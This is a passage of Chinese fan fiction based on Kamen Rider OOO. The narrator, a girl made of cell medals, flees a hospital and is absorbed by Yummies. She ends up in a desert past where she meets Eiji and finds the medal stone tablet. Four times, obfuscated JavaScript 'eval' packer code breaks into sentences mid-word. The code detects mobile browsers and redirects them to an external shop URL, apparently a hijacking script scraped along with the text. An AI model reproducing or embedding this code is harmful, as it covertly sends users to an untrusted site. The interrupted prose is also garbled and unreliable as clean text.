依照我贫瘠的,从科幻小说里看来的知识储备,这具身体毫无疑问是人类的身体。 真是奇怪。 我一边想一边挪动身体,想着醒来也有一段时间了,既然查不出结果,要不还先去洗手间漱个口。 落地的瞬间。 “叮铃——” 金属掉落的声音。 我弯下腰,看到地板上不知从哪里抖落了一枚莹白色的硬币。 一面光滑,另一面有个“X”的标识。 “细胞硬币……” 我弯腰捡起硬币,把它往掌心一放—— 没有反应。 硬币依然老老实实地躺在那里,在月光里反射出尖锐的银光。 很不对劲。 我想起里世界中美纪子癫狂的表现。想起因她而作出的一系列推理。 “我的身体能产生……但吸收不了细胞硬币?” 我喃喃低语,反复翻动这枚硬币,试图弄懂究竟是我的问题,还是硬币本身就和那些引诱人吸收的细胞硬币有所不同。一通比对后得出结论。 “至少外观上完全一样,有哪里是不同呢?那些硬币的来历……” 灵光闪过,我有了个疯狂的猜想,不可置信地看看硬币,又看看自己掌心。 “我的这具身体……不会是用核心硬币堆出来的吧?” -- 抱着这样一个念头,后半夜我完全没了睡意,不断完善至今为止的推理,一晚上至少有了三个收获。 第一、我似乎弄清了自己的来历。 半年前鸿上光生的石板突然开始工作,产生大量无人监管的的空白硬币。这些空白硬币一部分促进了Yummy诞生,另一部分组成了我现在这具身体。 我确定鸿上光生早就有所估计,他不说,应该就是等着我自己发现。毕竟这事儿实在惊悚,谁能接受自己的身体本质上是一堆死物?如果这是他的顾虑,我还真没法怪罪,就是依然不爽,觉得自己有被看轻。 但这也算不上什么。毕竟我还是蛮宽容的,就当各有原因。 第二、我知道了那晚上他们阻拦我的真正理由。 如果那石板真的是作为感应,不用想,他们肯定都见过石板在我身边亮起的样子,而不是等我傻乎乎地把手放上去了才晓得这些。 顺着这个思路,不用说了,他们一定都对我有所怀疑,所以才会千方百计不让我牵扯进来。那一晚我就应该多想,而不是顺着他们的思路,觉得自己这是被过度保护。 信吾哥倒应该是真的对此一无所知。他说自己失职时那种落寞的神态不似作假,而是真的发于心声。 “真是的,这三个人居然连信吾哥都演……” 虽然理解,但真推理出来还是觉得他们很讨厌。我忿忿地骂了一句,总结起下一件事来。 第三、Ankh没死。甚至可能一直在我们身边,只是出于特殊原因无法现身。 这点要和第一、二点一起看。 映司说过,当他拿到那块检测核心硬币力量存在与否的石板时,鸟类的部分在发光。 我当时一定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517335|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是被愤恨冲昏了头,才没有顺着这条线细想下去。既然是指示灯一样的存在,鸟类发光还能代表什么?Ankh当时就在附近啊! 不然Uva,Mezuru,Gameru还有那个什么猫人的图腾都不发光,就鸟发光——总不能是感谢八百年前的背刺所以给Ankh搞特殊吧! 哎我那会儿真的…… 醒来后的意外太多,我被这桩桩事件推着在走,到了终于能缓口气梳理状况的时候,感觉有很多是早就该想到的,自己做了多余的事。又觉得如果没有这些弯路,我应该也拼不出这样的回答。 一切都是命运石之门的选择……啊不对。得到的才是最好的——这句话我深信不疑。 至于其他的细枝末节,比如为什么我身上会掉下硬币,为什么是我穿越而不是别人,以及那个所谓Greeed的真实身份……不重要了,就当是设定吧。反正假面骑士的事情不用那么清楚。 关键还是在这几个问题。表面上是平行的事情,实际上却藏着一个怎么也无法解读的东西—— 时间。 如果把这几个解答串联起来,那就是“半年以前,该世界发生了一些事情,导致八百年前王的遗物重新运作,制造出无数可以让人类变成Yummy的空白硬币,引爆Yummy危机。而除此此外,这些空白硬币还创造出一具空白的身体,成为异世界少女秋山燕穿越后的载体。” 问题来了:为什么是半年前? 如果是一年前还有点说法。毕竟那是十周年上映的日子,按一般穿越作品的设定,这个时间算得上是关键节点,完全可以成为穿越到原因。 但是半年前…… 我怎么也想不到半年前都发生了些什么。那时候首发结束,关于十周年的骂声渐渐弱了,大概也只有我们这些跑不掉的还在意难平。 有够要命。 -- 我用半个夜晚把问题梳理全部梳理完毕,大抵上走通了,剩下最后几个节点: 一、为什么异变出现的时间是半年前。 二、Ankh距离复活还缺了什么。 三、我的任务究竟是什么。 是的,时至当时,我仍然相信自己的穿越是携带着“任务”的,只是没有系统的点拨,必须得自己发现。 如果任务完成……我应该也就能回去了。 当然,这只是我的直觉。 另外两项都更有依据,所以那会儿我把注意力放在了一、二项上。 为什么是半年前。 复活的必备条件是什么。 一无所知。 大约是那只“Greeed”尚未被消灭的缘故,白天气温又往上升了一些,连空调都起不了多大作用。病房俨然变成了一间桑拿室。 这样的温度非常不利于思考。我擦擦额头上的热汗,干脆刷起手机。 到处都在抱怨。大家还都不知道为什么气温会一下子飙升,以为是污染过度的影响。 怎么说呢,无知是福。 我一下下地刷新,一个骇人听闻的标题猝然跳了出来。 “怪物大闹商场!英雄末路!” 耳朵“嗡”的一声鸣叫起来。我点进去,一点点滑动着这条消息,看到有人PO上了OOO战斗现场的视频。 和那天看到的监控影像如出一辙。 映司躺在一旁,看上去奄奄一息。 “Birth!”他大喊,朝Birth伸出手去。 “你的身体不能再承受联组的力量!” “没关系,给我重力!” 简单的两句话后,Bitrth似乎被说服了。也可能他知道,如果不在这时候给映司联组,他会毫不犹豫地使用恐龙。 “SAI!GORILLA!ZOU!” 一阵激烈的背景音后,映司从地上爬了起来。 像十七世纪初的骑士,他冲上去。 26.Time Judged All(2) 视频到这里戛然而止。 “该死……”我心焦得很,飞快地翻动评论。 “Tattoo:又有怪物?!” “Goawayd:我天,地上的那个人是谁啊?看着好痛!” “UUU:现在的人已经不知道OOO了吗……” “NIT_SHUO:啊啊啊你也遇到了吗!我在广场就有看到,还以为是眼花!” “Dird:警署肯定有所行动了吧?” “Aora:我在家附近看到过这样的怪物,好像叫Yummy?” 该死,别议论了,来点有用的啊。 “这群人真是……”我嘀咕着,疯狂滑动资讯,想找到视频拍摄的具体位置。护士走了进来。 “秋山燕!”护士大喊。来不及反应,她一把夺过我的手机。 我看着手机飞走,忍不住破口大骂:“干什么啊!” “伊达先生说了,病人需要静养。这个就给我们代为保管。” 护士留下这么一句,看了眼今早上的体检结果,迈着步子走了。临走前对讲机里还传来一句:三号病床需要换药…… 我目送着护士离开,走廊上人来人往,到处是检查或者换药的声音,听得出人手不是很够,应该是有越来越多的病人往这边送了过来。 -- “他们也真是……” 我盘腿在病房里面打算。 伊达叔绝对不是为了什么“病人需要静养”才把我手机都拿走的。他就是不想我知道外面的情况。 伊达叔这间医院是少数几家具有Yummy受害人救助资质的医院,平时的人流量也就是普通水平。现在这么忙,发生了什么不言而喻。 就这样还准备把我忽悠过去……等结束了要好好算账。 我愤懑地想到,着手进行自己的计划。 说实在的,他们居然以为收掉手机我就没办法了,不找护士来看门,也不试着给我上束缚,觉得我一个十五岁的小孩好欺负是吗……这判断从根本上就是错的。 先不说我未知的特殊能力……谁说普通人就不能从医院逃跑了?肖申克监狱都管不住想要自由的安迪,至于我,虽然没有那么多的时间,但总归也有我的办法。 我把房门向内反锁,窗户打开。头探出去仔细观察周围环境。 我的病房在三楼,离地约九米,属于跳下去也不一定摔死,但估计会生不如死的范围。 尽管我现在的身体并不完全是人类的□□,摔下去也总归是痛的。考虑到我本人意志也不太坚定,这招还是算了。 我继续观察。 往下一层有空调外机,再旁边走一点是水管。 墙体没有其他障碍物,墙面也并不光滑。完全可以实现绳结逃生。 想不到消防演练中学到的技能会被我用在这里。 从脑海中过了一遍方案,我回到病房,以未曾想过的速度开始行动。飞快地找来所有可以用的床单,备用床单,到卫生间里用水打湿,按照老师教的方法编织成绳。 “死手快编……” 没有手机,没有钟表,我也就失去了对时间的判断,根本不知道自己做完这一切花了多久。我想可能只有五分钟,甚至三分钟,甚至更短。 门外的护士都没有觉察到这个房间的异样。透过水流,我听到她们还在叫着:“三号病房换药!有人吗!三号换药!” “那一个病房要换那么久吗?”我嘟哝了一句,关掉水龙头,把打湿的绳索取了出来。 好沉。 这是我的第一反应。 吸饱了水的绳索相当沉重。以前我们是两个人分组搬运,但现在我得把它扛到窗前,再打一个固定用的绳结,再往下抛。 我做完这一切,低头一看,由于缺乏材料,这绳子居然落不到地上。 “两米……吗?”阳光太大,我看不清绳索的落点,只能估计。 “算了,这点距离肯定没事。” 我低声为自己打气,想起一个古早笑话。 提问:把大象关进冰箱需要几步? 一、打开冰箱门。 二、把大象关进冰箱。 三、关上冰箱门。 “把我关起来得更多步吧?毕竟人可是有主观能动性的高级生物。” 我轻声笑道,踩着绳结,到二楼时“咚”的一声跳了下去。 -- 无伤落地。 “很轻松嘛……”我说着拍了拍手,盘算着下一步该如何行动。 虽然我不知道映司现在在哪,但说实话,东映那几个取景地我都能背下来了。而且仔细想想,背景里的楼房也很眼熟,加上“广场”这条线索……总之,有想法。 我有了目标,全力跑了出去,结果没出街道就整个人累得不行,这才想起本质上我还是个体能废柴。病房里已经算是肾上腺素的超发挥了,要靠着这两条腿就想赶到现场根本是天方夜谭。 没办法了。 我伸长手臂,沿着街道奔跑,心想要是能拦下一辆出租就好了。而这位置偏僻得狠,我跑着跑着没了力气,连路也没法看了,就这样低着头瞎跑,猝不及防撞上了一样东西。 “好痛!” 支起的手臂像展开的弹簧刀那样,受到外力的瞬间折了回去。我一屁股摔在地上,下意识地摸摸额头,抬眼看究竟是什么讨厌的东西在这儿当起路障。 “哪个人放的售货机……”我吐槽道,爬起来继续赶路。 没两步又折返回去。 “售货机?!” 我眯起双眼。黑白的世界有许多东西太难辨认,干脆扑了上去,手指擦过售货机的轮廓,摸到了它浮起的LOGO。 不会错的,是鸿上的售货机。 “我错了我错了我错了,这根本是意外之喜……” 鸿上的售货机是可以变成摩托车的。 我试图摸出一枚硬币。 “奇了怪了,我口袋里应该带着……” 我把全身都摸遍了,可是哪里也没有我昨晚捡到的空白硬币。我不死心,把每个兜都翻了出来,还是没有。这才接受我可能把硬币弄丢了的现实。 “完蛋了,光有机器没硬币也不行啊……”我心烦得很,胡乱抓着头发,“我不是能生产硬币吗,妈咪妈咪哄,各路佛祖快快显灵……” 如果此刻有人路过,一定会觉得这女生太古怪了,居然对着一台售货机在祈祷。可机会摆在眼前,我实在不愿意错过。 如果现在我能掉下来一枚硬币就好了。 就一枚,我只要一枚…… “叮铃——” 硬币! 这声音,就像是沙漠里的清泉。我忙趴下去,两眼在地上扫视,果然被我看见了两枚空白的细胞硬币。 “太好了!”我高兴了,转念却又想到:这样特殊的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520307|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空白细胞硬币,OOO系统到底会不会承认呢? 不管了总得试吧。 我把硬币全投了进去。 售货机抖动了下,像是有马达在内部运作。 “嘟嘟嘟——咔——咔——” 售货机开始了它的变形。很快,一辆摩托出现在我眼前。 -- 我骑上车往广场飞驰。 伊达叔的医院真的好偏,居然还要穿过一段曲折的,只够一辆车或一个人经过的小路。 我把速度飙到最高,想一股气冲过去。 就在那时。 我视野尽处里出现了一团灰色的影子,仿佛一尊石像,正正好好堵在两座建筑之中! “我靠!” 情况危机,我连母语都骂出来了。按这个速度肯定得人仰车翻……我心里想着,咬牙拧下右边的把手,腿也撑了起来,车头一摆,以最效率的方式准备急停! -- “靠靠靠靠靠!” 摩擦比想象中还大。我的脚先是剧痛,又在短短几秒内失去了知觉,最后只能让另一只脚拖着下车,简直带了个累赘。 在快要与那路障相撞的时刻,车停住了—— 就差一点! “什么东西啊!” 我是真怕赔了夫人又折兵。说到底哪里来的逆天会这时候堵我路啊?! “我说是不是有病,这么窄当什么路障呢你!” 我骂骂咧咧的,下车拖着那条伤腿就要上前理论,没两步愣住了。 “路障”回过头来,那一瞬间我看见它凸起的复眼,透明的羽翼,以及向上延伸的,天线一般的触角…… 心脏飞快地跳动。冷汗顺着脑门直往下冒——如果我还有汗腺的话。 “是是……” 我不敢相信眼前所看见的。但事实如此,好像也容不得我狡辩。 蝉型Yummy?! 不是被消灭了吗! “是……你……” 美纪子还是美智子——不管了——总之那只Yummy转过头来,似乎也看见了我,往我走来,露出身后那只一模一样的Yummy。 好吧,姐妹齐出动了是吧! “我说我们不是认识吗?这又是做什么?” 我慢慢地后退,说着一些似是而非的话,期望这两只Yummy还保有些许美智子美弥子的意识,放我离开。 但是,怎么可能。 带着一条伤腿是跑不掉的。这两似乎从死里复活的Yummy,也可能不再是那对姐妹了。 我盯着祂们,以最原始的方式对峙。 一步、两步…… 随着我的后撤,我和怪人之间差距越来越小,心脏也越跳越乱,越跳越快。 “是……你……” “是……你……” 低沉的响声愈发刺耳。不知为何,我感觉自己的身体正在崩解,每一个细胞都疯狂想要逃离这具躯体。 好吧,我这是要被吸收了吗? 自从想通了我也不过是一堆细胞硬币之后,这种事情就在我的预料之内。 但是—— 我还是不甘心闭上眼睛。 映司还在战斗。他受了很重的伤,需要有人替换下他。 我不觉得我就是那一个人,但是如果我能在场…… 如果我能在场…… 如果……如果…… 27.Time Judged All(3) 像是在海面上漂流。 开玩笑的,我并没有漂流的经验。只是这感觉让我想到以前看过的一张图片:一望无际的海洋,有个人躺在游泳圈上,随波逐流,好不惬意。 突然,下雨了。 什么情况? “好困……” 数不清这是第几次从昏迷中苏醒,每一次都像是做了一个漫长的梦。 “我刚刚好像还跟Yummy搏斗来着?好像也没有……之后……” 记忆逐渐回笼。我想起自己从医院里逃脱,在去寻找映司的路上遇到了两只理论上被毁灭了的Yummy,之后…… “我应该是被他们吸收了,所以这是Yummy的内部?” 我爬起来,打量着周围环境。 原本以为都在Yummy的身体里了,按照祂们的结构,我看到只会是一堆堆的硬币,或者硬币的拟态。可事情完全不是这样。 “怎么像是非洲?撒哈拉沙漠?” 是的,我处于一片沙尘之中。加之高热的气温,频繁的风沙活动,虽然没有颜色不能下准确判断,但无论怎么看都是典型的、地球上的沙漠。 想到上次的共振,只有一个解释:我这是又跑到“里世界”中去了。 “Ankh跟那鸟人搏斗的时候,也没说会到这种世界里啊……” 我想起“两个Ankh”里,Ankh被迷失Ankh吸收的场景。 和我一样,Ankh也曾经被吸进过其他Greeed的体内,但我总感觉他看到的应该不是这些。 上一次是“共振”,这一次也是吗?但那个表现,怎么看都是“吸收”啊…… 我想不明白。 “总之,没死就行。”我安慰自己,“没死就找得到路。说不定就跟上次一样,莫名其妙又出去了呢?” “虽然好像是等映司他们来救……” “也不是不可能吧!只要能解决那个所谓的Greeed!他们肯定会来救我的!” “嗯……只要打败Greeed……” “哎呀,也不用那么悲观,在此之前我也能努力啊!说不定走着走着也有收获了呢?走着走着也跟Ankh一样反客为主了呢?都有可能!” “努力就是可能!活着就是可能!哈哈哈哈哈……” -- 我一面给自己打气,一面像所有故事里的沙漠旅者一样,一步也不敢停歇,在无边无际的黄沙上行走。 夜幕迟迟不肯降临。 尽管在“里世界”中,我是感觉不到热的,但是在这样一个没有尽头的世界,没有地图,没有指南针,没有疲惫,要不是背后深深浅浅的脚印,我怕自己已经疯了。 “往好处想,这里我做什么都有反应,可能就是鬼打墙了……多试试也许呢……或许只是没到强制播片的时候,或许……” 我嘀咕着,说话越来越轻。其实这才是最好的大声发泄的场合,但既然没有回应,好像也就没有了多说的必要。连词汇也变得贫瘠。 总之,很矛盾的。只能说我终于明白了为什么学外语的时候老师鼓励我们多跟外国人练习。说到底语言是交流的工具,没有交流的对象,语言也就失去了意义。 在这种场合悟道,不晓得是可歌可泣还是可叹可悲。 总之,我继续走。 不清楚过了多久,在视野边缘,突然出现了一栋灰白色的小楼。 即便是在荒漠,也有数个依托绿洲而建设的,属于人类的城镇。这点三毛在《撒哈拉的故事》中早有描述。 也许那是海市蜃楼,或者陷阱。毕竟我也不在现实的世界里,什么也得不到保证,贸然过去要是真没命了也不是没可能——电影里不是经常这样拍吗?本来没什么事的,结果因为意志不够坚定,硬是幻想出一个不存在的安全区,弄得没事也变有事了。 我无法保证远方的那座城镇也是如此。 但是,如果我继续在沙漠里这样走下去……谁说不会彻底迷失了呢? 既然两个选择都是好坏各半,我也没开上帝视角……那还是怎么舒服怎么来吧! 我朝着那栋小楼狂奔。 -- 那建筑看着很远,实际上也没有多近。 我跑过去,眼看着方形的楼房越来越大,越来越多。我心想自己赌对了。至少这里暂时没有怪物作乱的痕迹。 再靠近点,我看见了一队骆驼。 我好奇地凑近。从服装和工具来看,似乎是一支商队。 突然,他们当中那个很像领头的男人转过头来:“诶,那边那个姑娘!” 我被这一声给吓到了,抖了个激灵愣在原处。 这是在叫我吗? 不对啊,我怎么听得懂他们在说什么? 不对吧,他们怎么会看见我! “诶,姑娘!”那男人又喊了一声,同时还向我招手,“愣着干什么呢!姑娘!这里多热啊!” 这架势不可能是找别人了。 “请问是在叫我?” “那肯定啊。” “你们看得到我?” “有什么看不看得到的?” “之前没人能看见我。” “啊,可能是神捂住了他们的眼睛。” 我走过去,边走边叽叽喳喳地问了好些事情。又被他们反过来问。 “中国人?” “我是。” “中国人越来越多了。以前日本人多,现在中国人也多——但好像没有你这么小的?” “你当我特殊吧。” “有十六岁吗?” “十五。” 、 真的很神奇。从头到尾我说的都是中文,他们不晓得回的什么,但在我听来也是中文,我们之间居然没有任何的语言差异。 这算什么?哆啦A梦的翻译魔芋?还是说一切都只是我的幻想,所以才按照我能理解的方式呈现? 谁知道呢…… 我正思索着,那男人又开口了。 “不过,这几天来的亚洲人真多啊,前两天还有个日本人……” “日本人?”我抓住这个字眼,仰起脸问男人,“这地方还有日本人来吗?一个人?” “一个男人。”那人想了想,“看着也很年轻啊,身上花花绿绿的,很开朗。这几天都在,帮了我们帮了不少忙。” “……” 听见这个形容,我马上联想到一种可能。 不会有这么巧吧…… 但是,也许不能说是巧合?就像我看到美智子美纪子的变异一样,与他无关才能算是超意外的展开吧! “不好意思!”我鼓起勇气,“能不能让我去见见那个人?我们可能认识!” “当然可以。” 那人一口答应。不光如此,他还给我在骆驼上安排了个位置,说如果我真的认识那个男人,应该要友好相待之类的怪话。 -- 我随着商队进城,来到了男人的住处。 “咚咚咚。” “谁啊?” 门被打开。 果然是映司。 “给,你需要的。”男人说着,把一个包袱递给映司。 “谢谢啊,还是这么可靠。”映司接过去,热情地同男人握手,余光里似乎看见了我。 “这个女孩子是……” 完了。 我心里咯噔一下。 现在的映司肯定是不认识我的,但我只认识他。必须想办法赖在他身边才行。 “我是……”我张口,准备先发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522812|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制人。 男人的语速比我还快:“她是你的朋友,我们在路上见到了,是专门为你而来的,对吧?” 对个头啊这下真完蛋吧! 我算是明白为什么人不怕神一样的对手就怕猪一样的队友了……尤其是说到最后两个字时,男人还转向我,像只得意洋洋的公鸡,似乎在用眼神说着:帮你介绍完了,不用客气。 我嘴角抽搐,一句话也不能再说。 -- 但是,不知为何映司还是接纳了我。 “哦哦,我想起来了,是隔壁的那个小孩子吧!哎呀,你怎么过来了,家里人也不看着点吗?” “欸?” 他撒了个笼统的谎言,把我从高高架起的状态中解救出来,顺理成章地留在了他的住处。 他家里经常有人上门,整个白天,我们甚至没来得及说一句话。 我在二楼的房间里百无聊赖地画着五子棋玩。直到天昏下来,映司走过来问我说:“要吃鱼吗?我找人买了两条。” “哦……哦!”我扭过头,跟在映司身后下楼。 映司的料理水平并不高超,又是在物资贫瘠的沙漠,所以只是简单处理了一下,撒了点盐用火烧烤。 这样的做法本就味淡,更别提我现在的身体,一会儿估计什么也尝不出来。 映司几下就把鱼吃完了。我是猫舌,怕烫,还在努力吹气。听见他说: “你到底从哪里来的?” 我顿住,不明白他问这话的用意。 实话还是谎话……我观察着,从他澄澈的眼睛里,解读出了答案。 其实穿越以后,我很少有机会跟他交流,反而和知世子和比奈比较熟悉。为数不多的几次交际,我们还吵了一架,应该说相性完全不合。 这还是头一回吧,我们能心平气和地聊天。只有我和他两个人。 “如果你问地点,我是从中国来的。”我说,顺嘴叼了口鱼肉,“如果问时间……现在是什么时候?” “2017年3月12日。” 距离我穿越来的日期差了有六个月。“那你再过半年应该就认识我了。”我说,“我是那天穿越来的,从另外一个世界。” 映司沉默了。 的确,如果我听到某人是穿越来的,我应该会友好地给他精神病院的地址,请他到里面好好地治一治。但是映司不会这样。OOO变身都经历过了,对于各种超自然事件也没什么好不信的。 应该是在措辞。 “那还真是……遥远。”过了一会儿他说,像是终于找到了合适的字眼,“所以你是先穿越到我们这个世界,然后又来到了……过去?” “不知道啊。”我也摆烂了,“我是被Yummy吸进来的,不知道你会在这里……反正我搞不懂了。” 我撕下一片鱼肉往嘴巴里塞,果然味同嚼蜡,吃得让人直皱眉头。 余光里,我看见映司的表情,似乎还有话想想问我。但既然我明牌自己一无所知,什么话都是多余。 晚上我睡在空房间里,枕着手肘本能地开始思考。 在上次“里世界”的旅途之中,我看到了Yummy的诞生,以及八百年前的部分真相。 如果每次“共振”、每个“里世界”都是为了向我透露一些情报……这个时间点,只能是石板的来历了吧。 像世界之神特别关照我的金手指。只是以解谜的形式出现,实际上在每个关键节点,我都能获得不同于“角色们”的场外线索。 如果我把这道题也解开了…… 那就是我该告别的时候了吧。 “是这样吗?每个人都只想着自己被满足……” 我翻过身,忽然好像想唱那一首歌。那首《Time Judged All》。 28.Time Judged All(4) 第二天映司一早就出去忙了,说是要帮镇上的人打井。 “打井?”我没想到沙漠里也有这项工作,“什么样的?找块地使劲往下挖坑吗?” “不是那种。”映司想了想,“怎么说呢,更常见的名字是''水窖''。” “水窖?”我试着理解,“没听过欸,地窖一样的东西吗?把水装进桶里储存起来?” “不是,一种集水工程罢了。”映司到门口换鞋,“最近那个旧的好像出了些问题,他们说要弄个新的。人手不够,所以去帮忙了。” “要我去吗?” “不用。”映司秒答,可能怕我闲着乱跑,他继续说,“体力活很累的,你就在屋子里好好休息。一会儿还有人要过来,帮我接待一下。” “你约了人还出去啊?” “没办法,那边更紧急。” 映司转过头来,双手合十抱歉地笑了一下。 “你也真是……” 我摇了摇头,一时有好多话想说,比如说他也太没规划,怎么连时间安排都忘了,或是说他老好人,怎么非要什么都插上一脚,从昨天到今天,他有哪怕一秒钟是休息的吗? 但是,我没有说。只是点了点头,祝他路上小心,一定要顺利。 -- 等映司走了以后,我就在客厅呆着,等他的那位客人到来。 不知道约的什么时候。 这里的一切都好慢,人慢,时间也慢。我等得很不耐烦,想着干脆还是出门转转算了,突然门外传来一阵规律的脚步,紧跟着就是门开的声音。 这里的人是不锁门的。物资匮乏,各家穷得都差不多,也就没有偷盗的必要。平时也不会随便去开别人家的门。 一定是那位客人来了。我走过去,看到门口站着一位身材矮小的中年人。从轮廓上看是一位妇人。 我眯起眼睛:“谁呀?” “这里不是映司的家吗?” 那位来客也有些惊讶。没错了,这是一位妇女。她退出去看看门牌,又看看我。大概不明白我和映司的关系。一天不见,又是从那块石头里蹦出来的。 “是火野家。我算是……来找他的妹妹。”我懒得解释,借用下比奈的身份,“是您吧?映司他打井去了,所以委托我帮接待之前的预约。” 可能是我的错觉,那妇人在听到“打井”这个字眼有一瞬间的怔愣,像是意外映司居然做了这样的事。 黑白的世界就这点最不好。信息缺失严重,连男女都要仔细辨别,更别提这种微动作微表情了。 我不去想:“应该是您吧,有什么您跟我说也一样的。” 她很为难:“啊……我这个……” 真是奇怪。 我一开始以为这妇人和昨天来找映司的其他人一样,是家里的牲畜病了,或者家具坏了,需要映司的帮助。但看这妇人支支吾吾的样子,莫非是另有隐情,非得本人出面才行? 映司的态度又很随意,不像是有一件大事要办。 总不能他在这儿混了一阵子,成为这些土著人断家长里短的大法官吧?! “如果您不想跟我说的话,可以留下地址,等他回来了我让他找您?”我给出建议。 “啊,不用这么麻烦……”她如梦初醒,看着我摇了摇头,把手上的东西举了起来。 这时我才注意到她手上的包袱。 “您把这个给他就行……嗯……也不是什么贵重东西。麻烦了。” 她用双手把包袱交到我的手上,向我深深地鞠了一躬。 女人走后,我把包袱放到了桌上,想:什么东西弄得这么神秘。 不过我也没有寻根究底的心情。像刚开始约定的那样,我等着映司回来,不知不觉就睡着了。 梦中我的视觉恢复成原来的样子。世界重新着色,甚至比先前更加鲜艳。我看见一道绿色的影子,在我面前一会儿哭,一会儿笑,像纸画的小人。 梦外有人在高呼:“起沙了!起沙了!” 我醒过来。 “怎么回事……还有梦中梦环节……”我揉着眼睛,下意识地往窗外看。 好大的风。 沙尘高高地扬了起来,像是一场海啸。天地顿时暗了下去。我听见人们到处在的尖叫,喊着朋友或者亲人的名字,都躲藏着往家里去。 “怎么回事……”我只在灾难片中看见过这种场景,不知能做些什么。大脑还没完全反应过来,嘴已经有了行动,不停在房子里喊。 “映司!映司你在哪!映司!” 没有回应。 那么映司肯定还在外面挖井了。我看着窗外的沙浪,好凶,像是开过刃的飞刀。 “不是,这不是幻觉吗,为什么我还能觉得痛啊……”我下意识往脸上擦了擦,拿到眼前一看。 黑白色也分不出有没有血。 “算了就当啥也没有。”我想了下,如果是那样的速度,沙擦过我脸时,应该会给我的脸划开极深的一道口子。但我摸上去时感觉还挺光滑。 “应该没事……半年前的话,他应该扛过来了。”我小声地说,打算关好门窗在家等着,不小心打了个踉跄,尖锐的触感让我觉得自己根本是撞了墙。 “我去这么硬!”我使劲擦着手肘,埋怨地朝已经被撞开的包袱看去,“什么东西啊……” 那是我颇为后悔的一眼。 -- “这不是……映司的那石板吗?!” 我快步上前,也不管手还疼着,捧起石板反复查看。 以卡巴拉生命树为原型的联组图腾,整齐地刻在深灰色是石板上。 与那天映司拿出来的一模一样。 可是,不应该啊? 如果是半年前,映司应该还没有得到这块石板才对。而且他说…… 一时间思绪比窗外飞舞的风沙更乱。 不知道是哪根神经做的决定。 “先藏起来……” 我把身上都摸遍了,到处找能私藏下这块。石板的空间,最后放到了外衣口袋里面。 -- 过了好久,风没停,映司也还是没有回来。 我躺在床上我闭着眼睛,努力回想那些快乐的事情,想睡着,但怎么也没有办法。 这风声完全是冤魂索命来的…… “烦死了!” 我再也忍不了了,一把掀开被子。 “算了找他去吧!反正这身体只痛不伤,不就是拿来浪的!” -- 决心下定,就要拿出一往无前的气势。 其实这时候我连他们说的“打井”在哪都不知道。即便如此,我还是决定出门,从映司的行李里翻出一副护目镜,正好可以戴上。 毕竟我虽然不会受伤……但沙子全往眼睛里吹也挺烦的。 而且到时候也能把护目镜丢给映司。他会需要的。 做好准备,我披上一件袍子,就这样走了出去。 家家门窗紧闭,道路上空无一人,只听得见狂风的咆哮。 我在沙尘暴里行走,速度完全快不起来。我像乌龟,不,像蜗牛那样慢慢挪着,沿着主路寻开始找。 他们打井是为了生存,所以一定不会距离城镇太远。 沿着路走的话,应该…… 我一边走一边想着这些事情,突然回头,朝某一个方位看去。 似乎是听到了?那边的声音。 我停下来,闭着眼睛在风中感受。风声很狂,很大,给我的耳朵带来了难以想象的干扰。但是…… 不会错的,那里有人在呼救! “救命啊!有人能救救我们吗!” “神啊,求求您开开眼吧,看看这个苦难的人!” “孩子们啊……” 在这一刻,我好像懂得了映司的心情。好像能理解为什么在那个时候,明知道那可能是个陷阱,明知Yummy的目的就是为了让他现身,却仍然义无反顾 ,哪怕甩开比奈也要朝那处赶去。 曾经我以为,会有这段情节全因为映司是个老好人,是因为他拒绝不了那些人的请求。后来看多了,我又觉得映司好像不是那么被动。他不是迫于无奈去解救那些人质的。一味地以为他是听到“救命”才行动,其实无形忽略了他的想法。 但是,为什么呢? 到现在我也不清楚这个问题的答案。我不是他,所以我没办法完全理解他的举止,他的思想。这是很正常。 “绝知此事要躬行”。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527598|202979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我放肆地大笑。用我最快的速度,朝人声传来的方向赶去。 -- 水窖,原来就是储水的地洞。 